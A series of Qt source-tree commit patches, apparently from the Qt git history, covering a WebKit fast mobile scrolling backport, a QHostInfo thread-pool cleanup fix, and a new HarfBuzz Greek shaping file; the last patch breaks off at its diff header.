FAST_MOBILE_SCROLLING on Qt embedded platforms https://bugs.webkit.org/show_bug.cgi?id=33150 -- Do not render the full frame when there is some elements with fixed positioning --- src/3rdparty/webkit/VERSION | 2 +- src/3rdparty/webkit/WebCore/ChangeLog | 46 +++++++++++++ src/3rdparty/webkit/WebCore/WebCore.pro | 4 ++ src/3rdparty/webkit/WebCore/page/FrameView.cpp | 75 +++++++++++++++++++++- src/3rdparty/webkit/WebCore/page/FrameView.h | 7 ++ .../webkit/WebCore/platform/ScrollView.cpp | 7 +- src/3rdparty/webkit/WebCore/platform/ScrollView.h | 3 + .../webkit/WebCore/rendering/RenderBlock.h | 1 + .../webkit/WebCore/rendering/RenderBox.cpp | 10 +++ .../WebCore/rendering/RenderBoxModelObject.cpp | 11 ++++ .../webkit/WebCore/rendering/RenderObject.cpp | 15 +++-- 11 files changed, 174 insertions(+), 7 deletions(-) diff --git a/src/3rdparty/webkit/VERSION b/src/3rdparty/webkit/VERSION index a2d5f37..def66ef 100644 --- a/src/3rdparty/webkit/VERSION +++ b/src/3rdparty/webkit/VERSION @@ -8,4 +8,4 @@ The commit imported was from the and has the sha1 checksum - 266a6c4f1938dd9edf4a8125faf91c62495e3ce2 + d95c54951e7af2aa7def4346a142b2162bd89bbd diff --git a/src/3rdparty/webkit/WebCore/ChangeLog b/src/3rdparty/webkit/WebCore/ChangeLog index a3f70d3..869e225 100644 --- a/src/3rdparty/webkit/WebCore/ChangeLog +++ b/src/3rdparty/webkit/WebCore/ChangeLog @@ -1,3 +1,49 @@ +2010-01-31 Benjamin Poulain + + Reviewed by Eric Seidel. + + [Qt] Enable FAST_MOBILE_SCROLLING on Qt embedded platforms + https://bugs.webkit.org/show_bug.cgi?id=34168 + + Enable FAST_MOBILE_SCROLLING for Qt on Maemo 5, Linux embedded + and Symbian + + * WebCore.pro: + +2010-01-19 Daniel Bates + + Reviewed by Adam Treat. + + https://bugs.webkit.org/show_bug.cgi?id=33408 + + Implements an optimization to ignore fixed background images + (i.e. background-attachment: fixed) when a page does not contain + any fixed position elements so as to allow fast repaints (via bit + blit) when scrolling a page. + + Currently, if a page has elements that specify either a fixed + background or a fixed position then we perform a slow repaint + (i.e disable blitting) so as to avoid rendering artifacts. + However, on low-powered/mobile devices slow repaints can cause + noticeable delays when scrolling a page with a fixed background + image. By sacrificing support for fixed background images when + there are no fixed elements on the page and with come care, we + don't need to force slow repaints and can avoid rendering artifacts. + Hence, on such devices we can improve the responsiveness of + scrolling a page with a fixed background image. + + Note, this optimization is only enabled if the WebKit is built + with FAST_MOBILE_SCROLLING enabled. + + Tests: fast/fast-mobile-scrolling/fixed-position-element.html + fast/fast-mobile-scrolling/no-fixed-position-elements.html + + * rendering/RenderBoxModelObject.cpp: + (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry): + Disable fixed background attachment if we can blit on scroll. + * rendering/RenderObject.cpp: + (WebCore::RenderObject::styleWillChange): + 2010-03-11 Simon Hausmann Reviewed by Tor Arne Vestbø. diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro index 5654a18..735c8ef 100644 --- a/src/3rdparty/webkit/WebCore/WebCore.pro +++ b/src/3rdparty/webkit/WebCore/WebCore.pro @@ -162,6 +162,10 @@ contains(DEFINES, ENABLE_SINGLE_THREADED=1) { DEFINES += ENABLE_SVG_FONTS=0 ENABLE_SVG_FOREIGN_OBJECT=0 ENABLE_SVG_ANIMATION=0 ENABLE_SVG_AS_IMAGE=0 ENABLE_SVG_USE=0 } +mameo5|symbian|embedded { + DEFINES += ENABLE_FAST_MOBILE_SCROLLING=1 +} + # HTML5 ruby support !contains(DEFINES, ENABLE_RUBY=.): DEFINES += ENABLE_RUBY=1 diff --git a/src/3rdparty/webkit/WebCore/page/FrameView.cpp b/src/3rdparty/webkit/WebCore/page/FrameView.cpp index bc4e4f2..4c3a0ab 100644 --- a/src/3rdparty/webkit/WebCore/page/FrameView.cpp +++ b/src/3rdparty/webkit/WebCore/page/FrameView.cpp @@ -106,6 +106,7 @@ struct ScheduledEvent { FrameView::FrameView(Frame* frame) : m_frame(frame) , m_slowRepaintObjectCount(0) + , m_fixedObjectCount(0) , m_layoutTimer(this, &FrameView::layoutTimerFired) , m_layoutRoot(0) , m_postLayoutTasksTimer(this, &FrameView::postLayoutTimerFired) @@ -735,7 +736,7 @@ String FrameView::mediaType() const bool FrameView::useSlowRepaints() const { - return m_useSlowRepaints || m_slowRepaintObjectCount > 0 || m_isOverlapped || !m_contentIsOpaque; + return m_useSlowRepaints || m_slowRepaintObjectCount > 0 || (platformWidget() && m_fixedObjectCount > 0) || m_isOverlapped || !m_contentIsOpaque; } void FrameView::setUseSlowRepaints() @@ -759,6 +760,78 @@ void FrameView::removeSlowRepaintObject() setCanBlitOnScroll(!useSlowRepaints()); } +void FrameView::addFixedObject() +{ + if (!m_fixedObjectCount && platformWidget()) + setCanBlitOnScroll(false); + ++m_fixedObjectCount; +} + +void FrameView::removeFixedObject() +{ + ASSERT(m_fixedObjectCount > 0); + m_fixedObjectCount--; + if (!m_fixedObjectCount) + setCanBlitOnScroll(!useSlowRepaints()); +} + +void FrameView::scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect) +{ + const size_t fixedObjectThreshold = 5; + + ListHashSet* positionedObjects = 0; + if (RenderView* root = m_frame->contentRenderer()) + positionedObjects = root->positionedObjects(); + + if (!positionedObjects || positionedObjects->isEmpty()) { + hostWindow()->scroll(scrollDelta, rectToScroll, clipRect); + return; + } + + // Get the rects of the fixed objects visible in the rectToScroll + Vector subRectToUpdate; + bool updateInvalidatedSubRect = true; + ListHashSet::const_iterator end = positionedObjects->end(); + for (ListHashSet::const_iterator it = positionedObjects->begin(); it != end; ++it) { + RenderBox* renderBox = *it; + if (renderBox->style()->position() != FixedPosition) + continue; + IntRect topLevelRect; + IntRect updateRect = renderBox->paintingRootRect(topLevelRect); + updateRect.move(-scrollX(), -scrollY()); + updateRect.intersect(rectToScroll); + if (!updateRect.isEmpty()) { + if (subRectToUpdate.size() >= fixedObjectThreshold) { + updateInvalidatedSubRect = false; + break; + } + subRectToUpdate.append(updateRect); + } + } + + // Scroll the view + if (updateInvalidatedSubRect) { + // 1) scroll + hostWindow()->scroll(scrollDelta, rectToScroll, clipRect); + + // 2) update the area of fixed objets that has been invalidated + size_t fixObjectsCount = subRectToUpdate.size(); + for (size_t i = 0; i < fixObjectsCount; ++i) { + IntRect updateRect = subRectToUpdate[i]; + IntRect scrolledRect = updateRect; + scrolledRect.move(scrollDelta); + updateRect.unite(scrolledRect); + updateRect.intersect(rectToScroll); + hostWindow()->repaint(updateRect, true, false, true); + } + } else { + // the number of fixed objects exceed the threshold, so we repaint everything. + IntRect updateRect = clipRect; + updateRect.intersect(rectToScroll); + hostWindow()->repaint(updateRect, true, false, true); + } +} + void FrameView::setIsOverlapped(bool isOverlapped) { if (isOverlapped == m_isOverlapped) diff --git a/src/3rdparty/webkit/WebCore/page/FrameView.h b/src/3rdparty/webkit/WebCore/page/FrameView.h index 3d17d2c..5243c02 100644 --- a/src/3rdparty/webkit/WebCore/page/FrameView.h +++ b/src/3rdparty/webkit/WebCore/page/FrameView.h @@ -143,6 +143,9 @@ public: void addSlowRepaintObject(); void removeSlowRepaintObject(); + void addFixedObject(); + void removeFixedObject(); + void beginDeferredRepaints(); void endDeferredRepaints(); void checkStopDelayingDeferredRepaints(); @@ -196,6 +199,9 @@ public: bool isFrameViewScrollCorner(RenderScrollbarPart* scrollCorner) const { return m_scrollCorner == scrollCorner; } void invalidateScrollCorner(); +protected: + virtual void scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect); + private: FrameView(Frame*); @@ -261,6 +267,7 @@ private: bool m_isOverlapped; bool m_contentIsOpaque; unsigned m_slowRepaintObjectCount; + unsigned m_fixedObjectCount; int m_borderX, m_borderY; diff --git a/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp b/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp index e67daf9..9e15c43 100644 --- a/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp +++ b/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp @@ -509,7 +509,7 @@ void ScrollView::scrollContents(const IntSize& scrollDelta) if (canBlitOnScroll()) { // The main frame can just blit the WebView window // FIXME: Find a way to blit subframes without blitting overlapping content - hostWindow()->scroll(-scrollDelta, scrollViewRect, clipRect); + scrollContentsFastPath(-scrollDelta, scrollViewRect, clipRect); } else { // We need to go ahead and repaint the entire backing store. Do it now before moving the // windowed plugins. @@ -524,6 +524,11 @@ void ScrollView::scrollContents(const IntSize& scrollDelta) hostWindow()->paint(); } +void ScrollView::scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect) +{ + hostWindow()->scroll(scrollDelta, rectToScroll, clipRect); +} + IntPoint ScrollView::windowToContents(const IntPoint& windowPoint) const { IntPoint viewPoint = convertFromContainingWindow(windowPoint); diff --git a/src/3rdparty/webkit/WebCore/platform/ScrollView.h b/src/3rdparty/webkit/WebCore/platform/ScrollView.h index 5dacff5..7060d07 100644 --- a/src/3rdparty/webkit/WebCore/platform/ScrollView.h +++ b/src/3rdparty/webkit/WebCore/platform/ScrollView.h @@ -244,6 +244,9 @@ protected: IntRect scrollCornerRect() const; virtual void updateScrollCorner(); virtual void paintScrollCorner(GraphicsContext*, const IntRect& cornerRect); + + // Scroll the content by blitting the pixels + virtual void scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect); private: RefPtr m_horizontalScrollbar; diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h b/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h index 7ba5fce..3300d01 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h +++ b/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h @@ -75,6 +75,7 @@ public: void insertPositionedObject(RenderBox*); void removePositionedObject(RenderBox*); void removePositionedObjects(RenderBlock*); + ListHashSet* positionedObjects() const { return m_positionedObjects; } void addPercentHeightDescendant(RenderBox*); static void removePercentHeightDescendant(RenderBox*); diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp b/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp index 1df82a4..7ca2ff8 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp +++ b/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp @@ -145,6 +145,16 @@ void RenderBox::styleWillChange(StyleDifference diff, const RenderStyle* newStyl removeFloatingOrPositionedChildFromBlockLists(); } } + if (FrameView *frameView = view()->frameView()) { + bool newStyleIsFixed = newStyle && newStyle->position() == FixedPosition; + bool oldStyleIsFixed = style() && style()->position() == FixedPosition; + if (newStyleIsFixed != oldStyleIsFixed) { + if (newStyleIsFixed) + frameView->addFixedObject(); + else + frameView->removeFixedObject(); + } + } RenderBoxModelObject::styleWillChange(diff, newStyle); } diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp b/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp index 23dad2d..9d0f1ed 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp +++ b/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp @@ -557,6 +557,17 @@ void RenderBoxModelObject::calculateBackgroundImageGeometry(const FillLayer* fil // Determine the background positioning area and set destRect to the background painting area. // destRect will be adjusted later if the background is non-repeating. bool fixedAttachment = fillLayer->attachment() == FixedBackgroundAttachment; + +#if ENABLE(FAST_MOBILE_SCROLLING) + if (view()->frameView() && view()->frameView()->canBlitOnScroll()) { + // As a side effect of an optimization to blit on scroll, we do not honor the CSS + // property "background-attachment: fixed" because it may result in rendering + // artifacts. Note, these artifacts only appear if we are blitting on scroll of + // a page that has fixed background images. + fixedAttachment = false; + } +#endif + if (!fixedAttachment) { destRect = IntRect(tx, ty, w, h); diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp b/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp index a10ffd9..199de4a 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp +++ b/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp @@ -1591,10 +1591,17 @@ void RenderObject::styleWillChange(StyleDifference diff, const RenderStyle* newS s_affectsParentBlock = false; if (view()->frameView()) { - // FIXME: A better solution would be to only invalidate the fixed regions when scrolling. It's overkill to - // prevent the entire view from blitting on a scroll. - bool newStyleSlowScroll = newStyle && (newStyle->position() == FixedPosition || newStyle->hasFixedBackgroundImage()); - bool oldStyleSlowScroll = m_style && (m_style->position() == FixedPosition || m_style->hasFixedBackgroundImage()); + bool shouldBlitOnFixedBackgroundImage = false; +#if ENABLE(FAST_MOBILE_SCROLLING) + // On low-powered/mobile devices, preventing blitting on a scroll can cause noticeable delays + // when scrolling a page with a fixed background image. As an optimization, assuming there are + // no fixed positoned elements on the page, we can acclerate scrolling (via blitting) if we + // ignore the CSS property "background-attachment: fixed". + shouldBlitOnFixedBackgroundImage = true; +#endif + + bool newStyleSlowScroll = newStyle && !shouldBlitOnFixedBackgroundImage && newStyle->hasFixedBackgroundImage(); + bool oldStyleSlowScroll = m_style && !shouldBlitOnFixedBackgroundImage && m_style->hasFixedBackgroundImage(); if (oldStyleSlowScroll != newStyleSlowScroll) { if (oldStyleSlowScroll) view()->frameView()->removeSlowRepaintObject(); -- cgit v0.12 From 22993cbada46fb9e170d4ac7a08413c968fce2a2 Mon Sep 17 00:00:00 2001 From: "Bradley T. Hughes" Date: Mon, 22 Mar 2010 13:06:29 +0100 Subject: Stop QHostInfo thread pool when application is about to exit Ensure that the threadpool QHostInfo uses internally has cleanup its threads when the application exits. This avoids the warning from QWaitCondition on Windows (which happens due to thread termination at application exit). Task-number: QTBUG-7691 Reviewed-by: mgoetz --- src/network/kernel/qhostinfo.cpp | 1 + src/network/kernel/qhostinfo_p.h | 3 +++ 2 files changed, 4 insertions(+) diff --git a/src/network/kernel/qhostinfo.cpp b/src/network/kernel/qhostinfo.cpp index 7150fb7..6894978 100644 --- a/src/network/kernel/qhostinfo.cpp +++ b/src/network/kernel/qhostinfo.cpp @@ -479,6 +479,7 @@ void QHostInfoRunnable::run() QHostInfoLookupManager::QHostInfoLookupManager() : mutex(QMutex::Recursive), wasDeleted(false) { moveToThread(QCoreApplicationPrivate::mainThread()); + connect(QCoreApplication::instance(), SIGNAL(destroyed()), SLOT(waitForThreadPoolDone()), Qt::DirectConnection); threadPool.setMaxThreadCount(5); // do 5 DNS lookups in parallel } diff --git a/src/network/kernel/qhostinfo_p.h b/src/network/kernel/qhostinfo_p.h index 2b26b07..4fc74e9 100644 --- a/src/network/kernel/qhostinfo_p.h +++ b/src/network/kernel/qhostinfo_p.h @@ -184,6 +184,9 @@ protected: QMutex mutex; bool wasDeleted; + +private slots: + void waitForThreadPoolDone() { threadPool.waitForDone(); } }; #endif -- cgit v0.12 From 05639b335af810f8359e87213909e0ec16300635 Mon Sep 17 00:00:00 2001 From: Lars Knoll Date: Mon, 22 Mar 2010 13:44:00 +0100 Subject: add file missing in commit 74f5e34979b8a08a91aa3c2fa6d252e68eca7817 --- src/3rdparty/harfbuzz/src/harfbuzz-greek.c | 442 +++++++++++++++++++++++++++++ 1 file changed, 442 insertions(+) create mode 100644 src/3rdparty/harfbuzz/src/harfbuzz-greek.c diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-greek.c b/src/3rdparty/harfbuzz/src/harfbuzz-greek.c new file mode 100644 index 0000000..59f3077 --- /dev/null +++ b/src/3rdparty/harfbuzz/src/harfbuzz-greek.c @@ -0,0 +1,442 @@ +/* + * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies) + * + * This is part of HarfBuzz, an OpenType Layout engine library. + * + * Permission is hereby granted, without written agreement and without + * license or royalty fees, to use, copy, modify, and distribute this + * software and its documentation for any purpose, provided that the + * above copyright notice and the following two paragraphs appear in + * all copies of this software. + * + * IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR + * DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES + * ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN + * IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + * + * THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, + * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND + * FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS + * ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO + * PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. + */ + +#include "harfbuzz-shaper.h" +#include "harfbuzz-shaper-private.h" +#include + +#ifndef NO_OPENTYPE +static const HB_OpenTypeFeature greek_features[] = { + { HB_MAKE_TAG('c', 'c', 'm', 'p'), CcmpProperty }, + { HB_MAKE_TAG('l', 'i', 'g', 'a'), CcmpProperty }, + { HB_MAKE_TAG('c', 'l', 'i', 'g'), CcmpProperty }, + {0, 0} +}; +#endif + +/* + Greek decompositions +*/ + + +typedef struct _hb_greek_decomposition { + HB_UChar16 composed; + HB_UChar16 base; +} hb_greek_decomposition; + +static const hb_greek_decomposition decompose_0x300[] = { + { 0x1FBA, 0x0391 }, + { 0x1FC8, 0x0395 }, + { 0x1FCA, 0x0397 }, + { 0x1FDA, 0x0399 }, + { 0x1FF8, 0x039F }, + { 0x1FEA, 0x03A5 }, + { 0x1FFA, 0x03A9 }, + { 0x1F70, 0x03B1 }, + { 0x1F72, 0x03B5 }, + { 0x1F74, 0x03B7 }, + { 0x1F76, 0x03B9 }, + { 0x1F78, 0x03BF }, + { 0x1F7A, 0x03C5 }, + { 0x1F7C, 0x03C9 }, + { 0x1FD2, 0x03CA }, + { 0x1FE2, 0x03CB }, + { 0x1F02, 0x1F00 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x300(HB_UChar16 base) +{ + if ((base ^ 0x1f00) < 0x100) { + if (base <= 0x1f69 && !(base & 0x6)) + return base + 2; + if (base == 0x1fbf) + return 0x1fcd; + if (base == 0x1ffe) + return 0x1fdd; + return 0; + } + const hb_greek_decomposition *d = decompose_0x300; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x301[] = { + { 0x0386, 0x0391 }, + { 0x0388, 0x0395 }, + { 0x0389, 0x0397 }, + { 0x038A, 0x0399 }, + { 0x038C, 0x039F }, + { 0x038E, 0x03A5 }, + { 0x038F, 0x03A9 }, + { 0x03AC, 0x03B1 }, + { 0x03AD, 0x03B5 }, + { 0x03AE, 0x03B7 }, + { 0x03AF, 0x03B9 }, + { 0x03CC, 0x03BF }, + { 0x03CD, 0x03C5 }, + { 0x03CE, 0x03C9 }, + { 0x0390, 0x03CA }, + { 0x03B0, 0x03CB }, + { 0x03D3, 0x03D2 }, + { 0, 0 } +}; + + +static HB_UChar16 compose_0x301(HB_UChar16 base) +{ + if ((base ^ 0x1f00) < 0x100) { + if (base <= 0x1f69 && !(base & 0x6)) + return base + 4; + if (base == 0x1fbf) + return 0x1fce; + if (base == 0x1ffe) + return 0x1fde; + } + const hb_greek_decomposition *d = decompose_0x301; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x304[] = { + { 0x1FB9, 0x0391 }, + { 0x1FD9, 0x0399 }, + { 0x1FE9, 0x03A5 }, + { 0x1FB1, 0x03B1 }, + { 0x1FD1, 0x03B9 }, + { 0x1FE1, 0x03C5 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x304(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x304; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x306[] = { + { 0x1FB8, 0x0391 }, + { 0x1FD8, 0x0399 }, + { 0x1FE8, 0x03A5 }, + { 0x1FB0, 0x03B1 }, + { 0x1FD0, 0x03B9 }, + { 0x1FE0, 0x03C5 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x306(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x306; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x308[] = { + { 0x03AA, 0x0399 }, + { 0x03AB, 0x03A5 }, + { 0x03CA, 0x03B9 }, + { 0x03CB, 0x03C5 }, + { 0x03D4, 0x03D2 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x308(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x308; + while (d->base && d->base != base) + ++d; + return d->composed; +} + + +static const hb_greek_decomposition decompose_0x313[] = { + { 0x1F08, 0x0391 }, + { 0x1F18, 0x0395 }, + { 0x1F28, 0x0397 }, + { 0x1F38, 0x0399 }, + { 0x1F48, 0x039F }, + { 0x1F68, 0x03A9 }, + { 0x1F00, 0x03B1 }, + { 0x1F10, 0x03B5 }, + { 0x1F20, 0x03B7 }, + { 0x1F30, 0x03B9 }, + { 0x1F40, 0x03BF }, + { 0x1FE4, 0x03C1 }, + { 0x1F50, 0x03C5 }, + { 0x1F60, 0x03C9 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x313(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x313; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x314[] = { + { 0x1F09, 0x0391 }, + { 0x1F19, 0x0395 }, + { 0x1F29, 0x0397 }, + { 0x1F39, 0x0399 }, + { 0x1F49, 0x039F }, + { 0x1FEC, 0x03A1 }, + { 0x1F59, 0x03A5 }, + { 0x1F69, 0x03A9 }, + { 0x1F01, 0x03B1 }, + { 0x1F11, 0x03B5 }, + { 0x1F21, 0x03B7 }, + { 0x1F31, 0x03B9 }, + { 0x1F41, 0x03BF }, + { 0x1FE5, 0x03C1 }, + { 0x1F51, 0x03C5 }, + { 0x1F61, 0x03C9 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x314(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x314; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x342[] = { + { 0x1FB6, 0x03B1 }, + { 0x1FC6, 0x03B7 }, + { 0x1FD6, 0x03B9 }, + { 0x1FE6, 0x03C5 }, + { 0x1FF6, 0x03C9 }, + { 0x1FD7, 0x03CA }, + { 0x1FE7, 0x03CB }, + { 0x1F06, 0x1F00 }, + { 0x1F07, 0x1F01 }, + { 0x1F0E, 0x1F08 }, + { 0x1F0F, 0x1F09 }, + { 0x1F26, 0x1F20 }, + { 0x1F27, 0x1F21 }, + { 0x1F2E, 0x1F28 }, + { 0x1F2F, 0x1F29 }, + { 0x1F36, 0x1F30 }, + { 0x1F37, 0x1F31 }, + { 0x1F3E, 0x1F38 }, + { 0x1F3F, 0x1F39 }, + { 0x1F56, 0x1F50 }, + { 0x1F57, 0x1F51 }, + { 0x1F5F, 0x1F59 }, + { 0x1F66, 0x1F60 }, + { 0x1F67, 0x1F61 }, + { 0x1F6E, 0x1F68 }, + { 0x1F6F, 0x1F69 }, + { 0x1FCF, 0x1FBF }, + { 0x1FDF, 0x1FFE }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x342(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x342; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +static const hb_greek_decomposition decompose_0x345[] = { + { 0x1FBC, 0x0391 }, + { 0x1FCC, 0x0397 }, + { 0x1FFC, 0x03A9 }, + { 0x1FB4, 0x03AC }, + { 0x1FC4, 0x03AE }, + { 0x1FB3, 0x03B1 }, + { 0x1FC3, 0x03B7 }, + { 0x1FF3, 0x03C9 }, + { 0x1FF4, 0x03CE }, + { 0x1F80, 0x1F00 }, + { 0x1F81, 0x1F01 }, + { 0x1F82, 0x1F02 }, + { 0x1F83, 0x1F03 }, + { 0x1F84, 0x1F04 }, + { 0x1F85, 0x1F05 }, + { 0x1F86, 0x1F06 }, + { 0x1F87, 0x1F07 }, + { 0x1F88, 0x1F08 }, + { 0x1F89, 0x1F09 }, + { 0x1F8A, 0x1F0A }, + { 0x1F8B, 0x1F0B }, + { 0x1F8C, 0x1F0C }, + { 0x1F8D, 0x1F0D }, + { 0x1F8E, 0x1F0E }, + { 0x1F8F, 0x1F0F }, + { 0x1F90, 0x1F20 }, + { 0x1F91, 0x1F21 }, + { 0x1F92, 0x1F22 }, + { 0x1F93, 0x1F23 }, + { 0x1F94, 0x1F24 }, + { 0x1F95, 0x1F25 }, + { 0x1F96, 0x1F26 }, + { 0x1F97, 0x1F27 }, + { 0x1F98, 0x1F28 }, + { 0x1F99, 0x1F29 }, + { 0x1F9A, 0x1F2A }, + { 0x1F9B, 0x1F2B }, + { 0x1F9C, 0x1F2C }, + { 0x1F9D, 0x1F2D }, + { 0x1F9E, 0x1F2E }, + { 0x1F9F, 0x1F2F }, + { 0x1FA0, 0x1F60 }, + { 0x1FA1, 0x1F61 }, + { 0x1FA2, 0x1F62 }, + { 0x1FA3, 0x1F63 }, + { 0x1FA4, 0x1F64 }, + { 0x1FA5, 0x1F65 }, + { 0x1FA6, 0x1F66 }, + { 0x1FA7, 0x1F67 }, + { 0x1FA8, 0x1F68 }, + { 0x1FA9, 0x1F69 }, + { 0x1FAA, 0x1F6A }, + { 0x1FAB, 0x1F6B }, + { 0x1FAC, 0x1F6C }, + { 0x1FAD, 0x1F6D }, + { 0x1FAE, 0x1F6E }, + { 0x1FAF, 0x1F6F }, + { 0x1FB2, 0x1F70 }, + { 0x1FC2, 0x1F74 }, + { 0x1FF2, 0x1F7C }, + { 0x1FB7, 0x1FB6 }, + { 0x1FC7, 0x1FC6 }, + { 0x1FF7, 0x1FF6 }, + { 0, 0 } +}; + +static HB_UChar16 compose_0x345(HB_UChar16 base) +{ + const hb_greek_decomposition *d = decompose_0x345; + while (d->base && d->base != base) + ++d; + return d->composed; +} + +/* + Greek shaping. Heuristic positioning can't render polytonic greek correctly. We're a lot + better off mapping greek chars with diacritics to the characters in the extended greek + region in Unicode if possible. +*/ +HB_Bool HB_GreekShape(HB_ShaperItem *shaper_item) +{ + assert(shaper_item->item.script == HB_Script_Greek); + + const HB_UChar16 *uc = shaper_item->string + shaper_item->item.pos; + unsigned short *logClusters = shaper_item->log_clusters; + HB_GlyphAttributes *attributes = shaper_item->attributes; + + HB_Bool haveGlyphs; + int slen = 1; + int cluster_start = 0; + hb_uint32 i; + + HB_STACKARRAY(HB_UChar16, shapedChars, 2 * shaper_item->item.length); + *shapedChars = *uc; + logClusters[0] = 0; + + for (i = 1; i < shaper_item->item.length; ++i) { + hb_uint16 base = shapedChars[slen-1]; + hb_uint16 shaped = 0; + if (uc[i] == 0x300) + shaped = compose_0x300(base); + else if (uc[i] == 0x301) + shaped = compose_0x301(base); + else if (uc[i] == 0x304) + shaped = compose_0x304(base); + else if (uc[i] == 0x306) + shaped = compose_0x306(base); + else if (uc[i] == 0x308) + shaped = compose_0x308(base); + else if (uc[i] == 0x313) + shaped = compose_0x313(base); + else if (uc[i] == 0x314) + shaped = compose_0x314(base); + else if (uc[i] == 0x342) + shaped = compose_0x342(base); + else if (uc[i] == 0x345) + shaped = compose_0x345(base); + + if (shaped) { + if (shaper_item->font->klass->canRender(shaper_item->font, (HB_UChar16 *)&shaped, 1)) { + shapedChars[slen-1] = shaped; + } else { + shaped = 0; + } + } + + if (!shaped) { + HB_CharCategory category; + int cmb; + shapedChars[slen] = uc[i]; + HB_GetUnicodeCharProperties(uc[i], &category, &cmb); + if (category != HB_Mark_NonSpacing) { + attributes[slen].clusterStart = TRUE; + attributes[slen].mark = FALSE; + attributes[slen].combiningClass = 0; + attributes[slen].dontPrint = HB_IsControlChar(uc[i]); + cluster_start = slen; + } else { + attributes[slen].clusterStart = FALSE; + attributes[slen].mark = TRUE; + attributes[slen].combiningClass = cmb; + } + ++slen; + } + logClusters[i] = cluster_start; + } + + haveGlyphs = shaper_item->font->klass + ->convertStringToGlyphIndices(shaper_item->font, + shapedChars, slen, + shaper_item->glyphs, &shaper_item->num_glyphs, + shaper_item->item.bidiLevel % 2); + + HB_FREE_STACKARRAY(shapedChars); + + if (!haveGlyphs) + return FALSE; + +#ifndef NO_OPENTYPE + if (HB_SelectScript(shaper_item, greek_features)) { + const int availableGlyphs = shaper_item->num_glyphs; + HB_OpenTypeShape(shaper_item, /*properties*/0); + return HB_OpenTypePosition(shaper_item, availableGlyphs, /*doLogClusters*/TRUE); + } +#endif + HB_HeuristicPosition(shaper_item); + + return TRUE; +} + -- cgit v0.12 From 6da8cec6042823da5622d048bb66ca7c40aed9b3 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 22 Mar 2010 14:55:40 +0200 Subject: Adding custom pixel metrics requires cleaning and rebuilding of QtGui This is due that the size of the pixel metrics table is stored in some object file and the file is not updated, even if we increase the table size integer. Removing direct calls from internal methods to member variable data[] removes the need to do whole rebuild when adding values. Relates to task #9247. Task-number: QTBUG-9247 Reviewed-by: Alessandro Portale --- src/gui/styles/qs60style_s60.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp index 14782d8..bb862a3 100644 --- a/src/gui/styles/qs60style_s60.cpp +++ b/src/gui/styles/qs60style_s60.cpp 